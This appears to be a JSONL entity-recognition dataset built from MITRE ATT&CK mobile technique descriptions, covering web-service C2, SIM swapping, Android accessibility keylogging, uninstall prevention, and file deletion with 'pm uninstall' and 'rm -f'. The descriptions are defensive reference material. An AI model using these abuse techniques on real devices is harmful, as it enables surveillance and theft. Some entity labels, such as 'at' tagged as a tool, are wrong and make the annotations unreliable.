{"text": "Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to and receiving output from a compromised system. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\n \n\nPopular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "spans": {"ORGANIZATION: Google": [[966, 972]], "SYSTEM: SSL": [[1079, 1082]], "SYSTEM: TLS": [[1083, 1086]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1481.002"}}
{"text": "Adversaries may generate network traffic using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.", "spans": {"SYSTEM: HTTPS": [[123, 128]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1509"}}
{"text": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1474.003"}}
{"text": "Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. \n\n \n\nPopular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. \n\n \n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis, or enable operational resiliency (since this infrastructure may be dynamically changed).", "spans": {"ORGANIZATION: Google": [[653, 659]], "SYSTEM: SSL": [[766, 769]], "SYSTEM: TLS": [[770, 773]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1481.001"}}
{"text": "Adversaries may track a device’s physical location through use of standard operating system APIs via malicious or exploited applications on the compromised device. \n\n \n\nOn Android, applications holding the `ACCESS_COAURSE_LOCATION` or `ACCESS_FINE_LOCATION` permissions provide access to the device’s physical location. On Android 10 and up, declaration of the `ACCESS_BACKGROUND_LOCATION` permission in an application’s manifest will allow applications to request location access even when the application is running in the background. Some adversaries have utilized integration of Baidu map services to retrieve geographical location once the location access permissions had been obtained. \n\n \n\nOn iOS, applications must include the `NSLocationWhenInUseUsageDescription`, `NSLocationAlwaysAndWhenInUseUsageDescription`, and/or `NSLocationAlwaysUsageDescription` keys in their `Info.plist` file depending on the extent of requested access to location information. On iOS 8.0 and up, applications call `requestWhenInUseAuthorization()` to request access to location information when the application is in use or `requestAlwaysAuthorization()` to request access to location information regardless of whether the application is in use. With elevated privileges, an adversary may be able to access location data without explicit user consent with the `com.apple.locationd.preauthorized` entitlement key.", "spans": {"SYSTEM: Android": [[172, 179], [323, 330]], "SYSTEM: iOS": [[700, 703], [968, 971]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1430"}}
{"text": "Adversaries may abuse Android’s device administration API to obtain a higher degree of control over the device. By abusing the API, adversaries can perform several nefarious actions, such as resetting the device’s password for Endpoint Denial of Service, factory resetting the device for File Deletion and to delete any traces of the malware, disabling all the device’s cameras, or to make it more difficult to uninstall the app.\n\nDevice administrators must be approved by the user at runtime, with a system popup showing which actions have been requested by the app. In conjunction with other techniques, such as Input Injection, an app can programmatically grant itself administrator permissions without any user input.", "spans": {"SYSTEM: Android": [[22, 29]], "SYSTEM: API": [[54, 57], [127, 130]], "TOOL: at": [[482, 484]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1626.001"}}
{"text": "An adversary may use access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM)/mobile device management (MDM) server console to track the location of mobile devices managed by the service.", "spans": {"ORGANIZATION: Google": [[52, 58]], "SYSTEM: Android": [[61, 68]], "ORGANIZATION: Apple": [[87, 92]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1430.001"}}
{"text": "Adversaries may destroy data and files on specific devices or in large numbers to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.  \n\nTo achieve data destruction, adversaries may use the `pm uninstall` command to uninstall packages or the `rm` command to remove specific files. For example, adversaries may first use `pm uninstall` to uninstall non-system apps, and then use `rm (-f) <file(s)>` to delete specific files, further hiding malicious activity.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1662"}}
{"text": "Adversaries may abuse the “linked devices” feature on messaging applications, such as Signal and WhatsApp, to register the user’s account to an adversary-controlled device. By abusing the “linked devices” feature, adversaries may achieve and maintain persistence through the user’s account, may collect information, such as the user’s messages and contacts list, and may send future messages from the linked device.\n\nSignal is a messaging application that uses the open-source Signal Protocol to encrypt messages and calls; similarly, WhatsApp is a messaging application that has end-to-end encryption and other security measures to protect messages and calls. Both applications have a “linked devices” feature that allows users to access their Signal and/or WhatsApp accounts from different devices, such as a Windows or Mac desktop, an iPad or an Android tablet.\n\nAdversaries may use Phishing techniques to trick the user into scanning a quick-response (QR) code, which is used to link the user’s Signal and/or WhatsApp account to an adversary-controlled device. For example, adversaries may masquerade QR codes as group invites, security alerts or as legitimate instructions for pairing linked devices. \nUpon scanning the QR code in Signal, users may click on the “Transfer Message History” option to sync the linked devices, which may allow adversaries to collect more information about the user. Upon scanning the QR code in WhatsApp, the user’s device will automatically send an end-to-end encrypted copy of recent message history to the adversary-controlled device.", "spans": {"SYSTEM: Signal": [[86, 92], [417, 423], [477, 483], [745, 751], [999, 1005], [1236, 1242]], "SYSTEM: WhatsApp": [[97, 105], [535, 543], [759, 767], [1013, 1021], [1430, 1438]], "SYSTEM: Windows": [[811, 818]], "SYSTEM: Android": [[849, 856]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1676"}}
{"text": "Adversaries may gain access to mobile devices through transfers or swaps from victims’ phone numbers to adversary-controlled SIM cards and mobile devices. \n\nThe typical process is as follows:  \n\n1. Adversaries will first gather information about victims through Phishing, social engineering, data breaches, or other avenues. \n2. Adversaries will then impersonate victims as they contact mobile carriers to request for the SIM swaps. For example, adversaries would provide victims’ name and address to mobile carriers; once authenticated, adversaries would request for victims’ phone numbers to be transferred to adversary-controlled SIM cards.  \n3. Once completed, victims will lose mobile data, such as text messages and phone calls, on their mobile devices. In turn, adversaries will receive mobile data that was intended for the victims.  \n\nAdversaries may use the intercepted SMS messages to log into online accounts that use SMS-based authentication. Specifically, adversaries may use SMS-based authentication to log into banking and/or cryptocurrency accounts, then transfer funds to adversary-controlled wallets.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1451"}}
{"text": "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal device usage, users often provide credentials to various locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Keylogging) or rely on deceiving the user into providing input into what they believe to be a genuine application prompt (e.g. GUI Input Capture).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1417"}}
{"text": "Adversaries may generate outbound traffic from devices. This is typically performed to manipulate external outcomes, such as to achieve carrier billing fraud or to manipulate app store rankings or ratings. Outbound traffic is typically generated as SMS messages or general web traffic, but may take other forms as well.\n\nIf done via SMS messages, Android apps must hold the `SEND_SMS` permission. Additionally, sending an SMS message requires user consent if the recipient is a premium number. Applications cannot send SMS messages on iOS", "spans": {"SYSTEM: Android": [[347, 354]], "SYSTEM: iOS": [[535, 538]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1643"}}
{"text": "An adversary could use knowledge of the techniques used by security software to evade detection. For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed \"su\" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1630.003"}}
{"text": "Adversaries may utilize standard operating system APIs to gather calendar entry data. On Android, this can be accomplished using the Calendar Content Provider. On iOS, this can be accomplished using the `EventKit` framework. \n\n \n\nIf the device has been jailbroken or rooted, an adversary may be able to access Calendar Entries without the user’s knowledge or approval.", "spans": {"SYSTEM: Android": [[89, 96]], "SYSTEM: iOS": [[163, 166]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1636.001"}}
{"text": "Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location. \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The impact file deletion will have depends on the type of data as well as the goals and objectives of the adversary, but can include deleting update files to evade detection or deleting attacker-specified files for impact.", "spans": {"SYSTEM: Office": [[357, 363]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1630.002"}}
{"text": "An adversary may seek to inhibit user interaction by locking the legitimate user out of the device. This is typically accomplished by requesting device administrator permissions and then locking the screen using `DevicePolicyManager.lockNow()`. Other novel techniques for locking the user out of the device have been observed, such as showing a persistent overlay, using carefully crafted “call” notification screens, and locking HTML pages in the foreground. These techniques can be very difficult to get around, and typically require booting the device into safe mode to uninstall the malware.\n\nPrior to Android 7, device administrators were able to reset the device lock passcode to prevent the user from unlocking the device. The release of Android 7 introduced updates that only allow device or profile owners (e.g. MDMs) to reset the device’s passcode.", "spans": {"SYSTEM: Android": [[606, 613], [745, 752]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1629.002"}}
{"text": "Adversaries may log user keystrokes to intercept credentials or other information from the user as the user types them.\n\nSome methods of keylogging include:\n\n* Masquerading as a legitimate third-party keyboard to record user keystrokes. On both Android and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.\n* Abusing accessibility features. On Android, adversaries may abuse accessibility features to record keystrokes by registering an `AccessibilityService` class, overriding the `onAccessibilityEvent` method, and listening for the `AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED` event type. The event object passed into the function will contain the data that the user typed. \n*Additional methods of keylogging may be possible if root access is available.", "spans": {"SYSTEM: Android": [[245, 252], [473, 480]], "SYSTEM: iOS": [[257, 260]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1417.001"}}
{"text": "Adversaries may delete, alter, or send SMS messages without user authorization. This could be used to hide C2 SMS messages, spread malware, or various external effects.\n\nThis can be accomplished by requesting the `RECEIVE_SMS` or `SEND_SMS` permissions depending on what the malware is attempting to do. If the app is set as the default SMS handler on the device, the `SMS_DELIVER` broadcast intent can be registered, which allows the app to write to the SMS content provider. The content provider directly modifies the messaging database on the device, which could allow malicious applications with this ability to insert, modify, or delete arbitrary messages on the device.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1582"}}
{"text": "Adversaries may inject code into processes in order to evade process-based defenses or even elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nBoth Android and iOS have no legitimate way to achieve process injection. The only way this is possible is by abusing existing root access or exploiting a vulnerability.", "spans": {"SYSTEM: Android": [[513, 520]], "SYSTEM: iOS": [[525, 528]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1631"}}
{"text": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic, rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, Blowfish, and RC4.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1521.001"}}
{"text": "Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of Discovery or Credential Access activity to support both ongoing and future campaigns.", "spans": {"SYSTEM: Access": [[195, 201]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1422.002"}}
{"text": "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1474.002"}}
{"text": "Adversaries may abuse clipboard manager APIs to obtain sensitive information copied to the device clipboard. For example, passwords being copied and pasted from a password manager application could be captured by a malicious application installed on the device. \n\n \n\nOn Android, applications can use the `ClipboardManager.OnPrimaryClipChangedListener()` API to register as a listener and monitor the clipboard for changes. However, starting in Android 10, this can only be used if the application is in the foreground, or is set as the device’s default input method editor (IME). \n\n \n\nOn iOS, this can be accomplished by accessing the `UIPasteboard.general.string` field. However, starting in iOS 14, upon accessing the clipboard, the user will be shown a system notification if the accessed text originated in a different application. For example, if the user copies the text of an iMessage from the Messages application, the notification will read “application_name has pasted from Messages” when the text was pasted in a different application.", "spans": {"SYSTEM: Android": [[270, 277], [444, 451]], "SYSTEM: API": [[354, 357]], "SYSTEM: iOS": [[588, 591], [693, 696]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1414"}}
{"text": "Adversaries may insert, delete, or alter data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application, process, and the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system, typically gained through a prolonged information gathering campaign, in order to have the desired impact.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1641"}}
{"text": "Adversaries may utilize standard operating system APIs to gather SMS messages. On Android, this can be accomplished using the SMS Content Provider. iOS provides no standard API to access SMS messages. \n\nIf the device has been jailbroken or rooted, an adversary may be able to access SMS Messages without the user’s knowledge or approval.", "spans": {"SYSTEM: Android": [[82, 89]], "SYSTEM: iOS": [[148, 151]], "SYSTEM: API": [[173, 176]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1636.004"}}
{"text": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. \n\n \n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis, or enable operational resiliency (since this infrastructure may be dynamically changed).", "spans": {"ORGANIZATION: Google": [[394, 400]], "SYSTEM: SSL": [[507, 510]], "SYSTEM: TLS": [[511, 514]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1481"}}
{"text": "Adversaries may execute their own malicious payloads by hijacking the way an operating system runs applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur at later points in time. \n\n\nOn Android, adversaries may overwrite the standard OS API library with a malicious alternative to hook into core functions to achieve persistence. By doing this, the adversary’s code will be executed every time the overwritten API function is called by an app on the infected device.", "spans": {"TOOL: at": [[219, 221]], "SYSTEM: Android": [[250, 257]], "SYSTEM: API": [[301, 304], [474, 477]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1625.001"}}
{"text": "Adversaries may search common password storage locations to obtain user credentials. Passwords can be stored in several places on a device, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users to manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1634"}}
{"text": "Adversaries may utilize hooking to hide the presence of artifacts associated with their behaviors to evade detection. Hooking can be used to modify return values or data structures of system APIs and function calls. This process typically involves using 3rd party root frameworks, such as Xposed or Magisk, with either a system exploit or pre-existing root access. By including custom modules for root frameworks, adversaries can hook system APIs and alter the return value and/or system data structures to alter functionality/visibility of various aspects of the system.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1617"}}
{"text": "Adversaries may enumerate files and directories or search in specific device locations for desired information within a filesystem. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including deciding if the adversary should fully infect the target and/or attempt specific actions. \n\nOn Android, Linux file permissions and SELinux policies typically stringently restrict what can be accessed by apps without taking advantage of a privilege escalation exploit. The contents of the external storage directory are generally visible, which could present concerns if sensitive data is inappropriately stored there. iOS's security architecture generally restricts the ability to perform any type of File and Directory Discovery without use of escalated privileges.", "spans": {"SYSTEM: Android": [[364, 371]], "SYSTEM: Linux": [[373, 378]], "SYSTEM: SELinux": [[400, 407]], "SYSTEM: iOS": [[687, 690]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1420"}}
{"text": "Adversaries may attempt to make a payload or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the device or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n \nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Portions of files can also be encoded to hide the plaintext strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.", "spans": {"SYSTEM: Access": [[403, 409]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1406"}}
{"text": "A malicious application can inject input to the user interface to mimic user interaction through the abuse of Android's accessibility APIs.\n\nInput Injection can be achieved using any of the following methods:\n\n* Mimicking user clicks on the screen, for example to steal money from a user's PayPal account.\n* Injecting global actions, such as `GLOBAL_ACTION_BACK` (programatically mimicking a physical back button press), to trigger actions on behalf of the user.\n* Inserting input into text fields on behalf of the user. This method is used legitimately to auto-fill text fields by applications such as password managers.", "spans": {"SYSTEM: Android": [[110, 117]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1516"}}
{"text": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth that services rely on, or by jamming the signal going to or coming from devices. \n\nA Network DoS will occur when an adversary is able to jam radio signals (e.g. Wi-Fi, cellular, GPS) around a device to prevent it from communicating. For example, to jam cellular signal, an adversary may use a handheld signal jammer, which jam devices within the jammer’s operational range. \n\nUsage of cellular jamming has been documented in several arrests reported in the news.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1464"}}
{"text": "Adversaries may modify applications installed on a device to establish persistent access to a victim. These malicious modifications can be used to make legitimate applications carry out adversary tasks when these applications are in use.\n\nThere are multiple ways an adversary can inject malicious code into applications. One method is by taking advantages of device vulnerabilities, the most well-known being Janus, an Android vulnerability that allows adversaries to add extra bytes to APK (application) and DEX (executable) files without affecting the file's signature. By being able to add arbitrary bytes to valid applications, attackers can seamlessly inject code into genuine executables without the user's knowledge.\n\nAdversaries may also rebuild applications to include malicious modifications. This can be achieved by decompiling the genuine application, merging it with the malicious code, and recompiling it.\n\nAdversaries may also take action to conceal modifications to application executables and bypass user consent. These actions include altering modifications to appear as an update or exploiting vulnerabilities that allow activities of the malicious application to run inside a system application.", "spans": {"SYSTEM: Android": [[419, 426]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1577"}}
{"text": "Adversaries may establish persistence using system mechanisms that trigger execution based on specific events. Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities. \n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via automatically and repeatedly executing malicious code. After gaining access to a victim’s system, adversaries may create or modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1624"}}
{"text": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of devices they access or through information discovery of remote systems. \n\nAdversaries may use the information from System Network Configuration Discovery during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. \n\nOn Android, details of onboard network interfaces are accessible to apps through the `java.net.NetworkInterface` class. Previously, the Android `TelephonyManager` class could be used to gather telephony-related device identifiers, information such as the IMSI, IMEI, and phone number. However, starting with Android 10, only preloaded, carrier, the default SMS, or device and profile owner applications can access the telephony-related device identifiers. \n\n \n\nOn iOS, gathering network configuration information is not possible without root access. \n\n \n\nAdversaries may use the information from System Network Configuration Discovery during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.", "spans": {"SYSTEM: Android": [[423, 430], [556, 563], [728, 735]], "DOMAIN: java.net": [[506, 514]], "SYSTEM: iOS": [[884, 887]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1422"}}
{"text": "An adversary can leverage a device’s cameras to gather information by capturing video recordings. Images may also be captured, potentially in specified intervals, in lieu of video files.  \n\n \n\nMalware or scripts may interact with the device cameras through an available API provided by the operating system. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of the device’s cameras for video recording rather than capturing the victim’s screen. \n\n \n\nIn Android, an application must hold the `android.permission.CAMERA` permission to access the cameras. In iOS, applications must include the `NSCameraUsageDescription` key in the `Info.plist` file. In both cases, the user must grant permission to the requesting application to use the camera. If the device has been rooted or jailbroken, an adversary may be able to access the camera without knowledge of the user.", "spans": {"SYSTEM: API": [[270, 273]], "SYSTEM: Android": [[524, 531]], "SYSTEM: iOS": [[627, 630]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1512"}}
{"text": "Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to a compromised system without receiving return output. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response. \n\n \n\nPopular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "spans": {"TOOL: at": [[479, 481]], "ORGANIZATION: Google": [[853, 859]], "SYSTEM: SSL": [[966, 969]], "SYSTEM: TLS": [[970, 973]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1481.003"}}
{"text": "An adversary may encrypt files stored on a mobile device to prevent the user from accessing them. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1471"}}
{"text": "Adversaries may abuse the Android device administration API to prevent the user from uninstalling a target application. In earlier versions of Android, device administrator applications needed their administration capabilities explicitly deactivated by the user before the application could be uninstalled. This was later updated so the user could deactivate and uninstall the administrator application in one step.\n\nAdversaries may also abuse the device accessibility APIs to prevent removal. This set of APIs allows the application to perform certain actions on behalf of the user and programmatically determine what is being shown on the screen. The malicious application could monitor the device screen for certain modals (e.g., the confirmation modal to uninstall an application) and inject screen input or a back button tap to close the modal. For example, Android's `performGlobalAction(int)` API could be utilized to prevent the user from removing the malicious application from the device after installation. If the user wants to uninstall the malicious application, two cases may occur, both preventing the user from removing the application.\n\n* Case 1: If the integer argument passed to the API call is `2` or `GLOBAL_ACTION_HOME`, the malicious application may direct the user to the home screen from settings screen \n\n* Case 2: If the integer argument passed to the API call is `1` or `GLOBAL_ACTION_BACK`, the malicious application may emulate the back press event", "spans": {"SYSTEM: Android": [[26, 33], [143, 150], [863, 870]], "SYSTEM: API": [[56, 59], [900, 903], [1202, 1205], [1379, 1382]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1629.001"}}
{"text": "Adversaries may attempt to get a listing of network connections to or from the compromised device they are currently accessing or from remote systems by querying for information over the network. \n\n \n\nThis is typically accomplished by utilizing device APIs to collect information about nearby networks, such as Wi-Fi, Bluetooth, and cellular tower connections. On Android, this can be done by querying the respective APIs: \n\n \n\n* `WifiInfo` for information about the current Wi-Fi connection, as well as nearby Wi-Fi networks. Querying the `WiFiInfo` API requires the application to hold the `ACCESS_FINE_LOCATION` permission. \n\n* `BluetoothAdapter` for information about Bluetooth devices, which also requires the application to hold several permissions granted by the user at runtime. \n\n* For Android versions prior to Q, applications can use the `TelephonyManager.getNeighboringCellInfo()` method. For Q and later, applications can use the `TelephonyManager.getAllCellInfo()` method. Both methods require the application hold the `ACCESS_FINE_LOCATION` permission.", "spans": {"SYSTEM: Android": [[364, 371], [795, 802]], "SYSTEM: API": [[551, 554]], "TOOL: at": [[775, 777]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1421"}}
{"text": "Adversaries may send malicious content to users in order to gain access to their mobile devices. All forms of phishing are electronically delivered social engineering. Adversaries can conduct both non-targeted phishing, such as in mass malware spam campaigns, as well as more targeted phishing tailored for a specific individual, company, or industry, known as “spearphishing.” Phishing often involves social engineering techniques, such as posing as a trusted source, as well as evasion techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages.\n\nMobile phishing may take various forms. For example, adversaries may send emails containing malicious attachments or links, typically to deliver and then execute malicious code on victim devices. Phishing may also be conducted via third-party services, like social media platforms. Adversaries may also impersonate executives of organizations to persuade victims into performing some action on their behalf. For example, adversaries will often use social engineering techniques in text messages to trick the victims into acting quickly, which leads to adversaries obtaining credentials and other information. \n\nMobile devices are a particularly attractive target for adversaries executing phishing campaigns.  Due to their smaller form factor than traditional desktop endpoints, users may not be able to notice minor differences between genuine and phishing websites. Further, mobile devices have additional sensors and radios that allow adversaries to execute phishing attempts over several different vectors, such as: \n\n- SMS messages: Adversaries may send SMS messages (known as “smishing”) from compromised devices to potential targets to convince the target to, for example, install malware, navigate to a specific website, or enable certain insecure configurations on their device.\n- Quick Response (QR) Codes: Adversaries may use QR codes (known as “quishing”) to redirect users to a phishing website. For example, an adversary could replace a legitimate public QR Code with one that leads to a different destination, such as a phishing website. A malicious QR code could also be delivered via other means, such as SMS or email. In the latter case, an adversary could utilize a malicious QR code in an email to pivot from the user’s desktop computer to their mobile device.\n- Phone Calls: Adversaries may call victims (known as “vishing”) to persuade them to perform an action, such as providing login credentials or navigating to a malicious website. This could also be used as a technique to perform the initial access on a mobile device, but then pivot to a computer/other network by having the victim perform an action on a desktop computer.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1660"}}
{"text": "Adversaries may use SSL Pinning  to protect the C2 traffic from being intercepted and analyzed.\n\nSSL Pinning  is a technique commonly utilized by legitimate websites to ensure that encrypted communications are only allowed with a pre-defined certificate. If another certificate is presented, it could indicate device compromise, traffic interception, or another upstream issue. While benign usages are common, it is also possible for adversaries to abuse this technology to protect malicious C2 traffic.\n\nIn normal, not pinned SSL validation, when a client connects to a server using HTTPS, it typically checks whether the server’s SSL/TLS certificate is signed by a trusted Certificate Authority (CA) in the device’s trust store. If the certificate is valid and signed by a trusted CA, the connection is established. However, with SSL Pinning , the client is configured to trust a specific SSL/TLS certificate or public key, rather than relying on the device’s trust store. This means that even if the server’s certificate is signed by a trusted CA, the client will only establish the connection of the certificate or key is pinned.\n\nThere are two types of SSL Pinning :\n\n1.\tCertificate Pinning: The client stores a copy of the server’s certificate and compares it with the certificate received during the SSL handshake. If the certificates match, then the client proceeds with the connection. This approach also works with self-signed certificates.\n\n2.\tPublic Key Pinning: Instead of pinning the entire certificate, the client pins just the public key extracted from the certificate. This is often more flexible, as it allows the server to renew its certificate without having to update the pinned certificate or breaking the SSL connection.", "spans": {"SYSTEM: SSL": [[20, 23], [97, 100], [527, 530], [632, 635], [832, 835], [891, 894], [1158, 1161], [1307, 1310], [1728, 1731]], "SYSTEM: HTTPS": [[584, 589]], "SYSTEM: TLS": [[636, 639], [895, 898]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1521.003"}}
{"text": "An adversary with physical access to a mobile device may seek to bypass the device’s lockscreen. Several methods exist to accomplish this, including:\n\n* Biometric spoofing: If biometric authentication is used, an adversary could attempt to spoof a mobile device’s biometric authentication mechanism. Both iOS and Android partly mitigate this attack by requiring the device’s passcode rather than biometrics to unlock the device after every device restart, and after a set or random amount of time.\n* Unlock code bypass: An adversary could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing (“shoulder surfing”) the device owner’s use of the lockscreen passcode. Mobile OS vendors partly mitigate this by implementing incremental backoff timers after a set number of failed unlock attempts, as well as a configurable full device wipe after several failed unlock attempts.\n* Vulnerability exploit: Techniques have been periodically demonstrated that exploit mobile devices to bypass the lockscreen. The vulnerabilities are generally patched by the device or OS vendor once disclosed.", "spans": {"SYSTEM: iOS": [[305, 308]], "SYSTEM: Android": [[313, 320]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1461"}}
{"text": "Adversaries may utilize standard operating system APIs to gather contact list data. On Android, this can be accomplished using the Contacts Content Provider. On iOS, this can be accomplished using the `Contacts` framework. \n\n \n\nIf the device has been jailbroken or rooted, an adversary may be able to access the Contact List without the user’s knowledge or approval.", "spans": {"SYSTEM: Android": [[87, 94]], "SYSTEM: iOS": [[161, 164]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1636.003"}}
{"text": "Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to exfiltration.  \n\n \n\nAccess to local system data, which includes information stored by the operating system, often requires escalated privileges. Examples of local system data include authentication tokens, the device keyboard cache, Wi-Fi passwords, and photos. On Android, adversaries may also attempt to access files from external storage which may require additional storage-related permissions.", "spans": {"SYSTEM: Access": [[160, 166]], "SYSTEM: Android": [[405, 412]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1533"}}
